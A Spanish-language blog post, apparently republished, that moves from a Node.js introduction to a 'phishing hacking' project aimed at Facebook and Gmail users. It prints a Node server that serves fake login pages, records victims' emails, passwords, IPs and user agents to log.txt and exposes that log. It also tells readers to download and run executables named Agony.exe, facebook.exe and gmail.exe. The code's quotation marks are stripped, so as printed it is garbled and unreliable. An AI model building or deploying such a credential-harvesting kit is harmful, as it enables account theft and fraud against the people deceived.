Phishing facebook gmail con node.js



¿Qué es y para que sirve NodeJS?

NodeJS es un código abierto de JavaScript (razón por la cual se incluye el distintivo JS) que está diseñado para generar aplicaciones web de forma altamente optimizada. Desde su nacimiento hacia el año 2009 ha logrado convertirse en todo un must dentro del desarrollo web.
JavaScript
es un sólo un lenguaje de programación del lado del cliente que se ejecuta en el navegador, ¿verdad?. Ahora ya no. Node.js es una forma de ejecutar JavaScript en el servidor, además de mucho más. Node.js es un entorno Javascript del lado del servidor, basado en eventos.

Cursos Node js

Descargar y instalar Nodejs clase #1

Servidor HTTP con nodejs - clase #2

Express para crear un servidor HTTP con nodejs - clase #3

Módulos centrales Node.js - clase 4

Mi primera app con Node.js - clase #5

Proyecto phishing hacking con node.js -clases #6Facebook con node.js

Descargar Node js https://nodejs.org/es/
¿Qué es phishing ?



Creamos una carpeta desde el cmd o consola mkdir public

Copiamos el código en un editor de texto con el nombre app.js sera nuestro servidor local.

Código app.js

var fs = require(fs);
var http = require(http);
var url = require(url);

var PORT = process.env.PORT || 3000;

var isMobile = function(req) {
console.log(req.headers);
return (new RegExp(Mobile, gi)).test(req.headers[user-agent]);
}

http.createServer(function(req, res){
var url = req.url;
var mobile = isMobile(req);
if (req.url === /favicon.ico) {
//res.writeHead(200, {Content-Type: image/x-icon} );
//res.end();
//console.log(favicon requested);
return;
}
console.log(req.url);
if(url === /) {
serveFile(/public/index, res);
}
else if(url === /login){
console.log(Method: +req.method);
if(req.method === POST){
processData(req, res);
}
}
else if(url === /log) {
serveFile(/log, res, .txt);
}
else {
res.end(Not Found);
}

}).listen(PORT, function(){
console.log(Server Listening: +PORT);
});

function serveFile(path, res, fext) {
var ct;
if(!fext) {
fext = .html;
ct = text/html;
} else {
ct = text/plain;
}
fs.readFile(.+path+fext, function(err, data){
if(err) return console.log(err);
res.writeHead(200, {Content-Type: ct});
res.write(data);
res.end();
});
}

function processData(req, res) {
var body = ;
req.on(data, function (data) {
body += data;
console.log("Partial body: " + body);
});

req.on(end, function () {
console.log("Body: " + body);
var s = body.split(/[\=|\&]/);
req.body = {};
for(var i=0; i<s.length; i++) {
if(i%2!=0) {
//console.log(s[i-1],s[i]);
req.body[s[i-1]] = s[i];
}
}
console.log(req.body);

var log = \n\ndate: +new Date()
+\nreferer: +req.headers[referer]
+\nurl: +req.url
+\nip: + (req.headers[x-forwarded-for] || req.connection.remoteAddress)
+\nua: +req.headers[user-agent]
+\nemail: +req.body.Email
+\npassword: +req.body.Pass

fs.appendFile(log.txt, log, function(err){
if(err) return console.log(err);
console.log(Data saved);
res.end(Logged);
});

res.writeHead(302, {Location: /});
res.end();
});
}

Plantilla html
Descargamos las plantillas para hacer Phishing ,están desarrollada en html y lo guardamos en la carpeta public

Link plantilla facebook.html

Link plantilla Google.html



En las plantillas podremos observar los input sera que envié al servidor app.js todo lo que ingrese nuestra victima.

Servidor app.js



En el servidor recibimos los datos que la victima ingresa.

Servidor app.js y plantilla html



Iniciamos el servidor app.js
Desde la consola iniciamos el servidor node app.js







Comunidad amino hacking

Phishing facebook gmail con node.js

1.-Descargamos Facebook_Gmail_Phishing
2.-Descomprimir la carpeta con zip o rar https://www.winrar.es/descargas

3.-Ejecutar los archivos con extencion .exe

Agony.exe

facebook.exe

gmail.exe



4.-Abrir el navegador

Google

Firefox

Opera mini

Otros.


5.-Escribimos en el navegador

- http://localhost:3000/




6.- la contraseña o password se guarda en una archivo

log.txt



Descargar

Github

Fuente: este post proviene de The Seven Codes, donde puedes consultar el contenido original.
¿Vulnera este post tus derechos? Pincha aquí.
Creado:
¿Qué te ha parecido esta idea?

Esta idea proviene de:

Y estas son sus últimas ideas publicadas:

SISTEMA DE DIAGNOSTICO Se desea diseñar un diagrama de clases para administrar el trabajo del médico que mediante una cuenta de usuario deberá: • Un administrador se encargará de administrar el sistem ...

¿Qué es el SQL injection? Una inyección de SQL, a veces abreviada como SQLi, es un tipo de vulnerabilidad en la que un atacante usa un trozo de código SQL (lenguaje de consulta estructurado) para mani ...

Etiquetas:

Recomendamos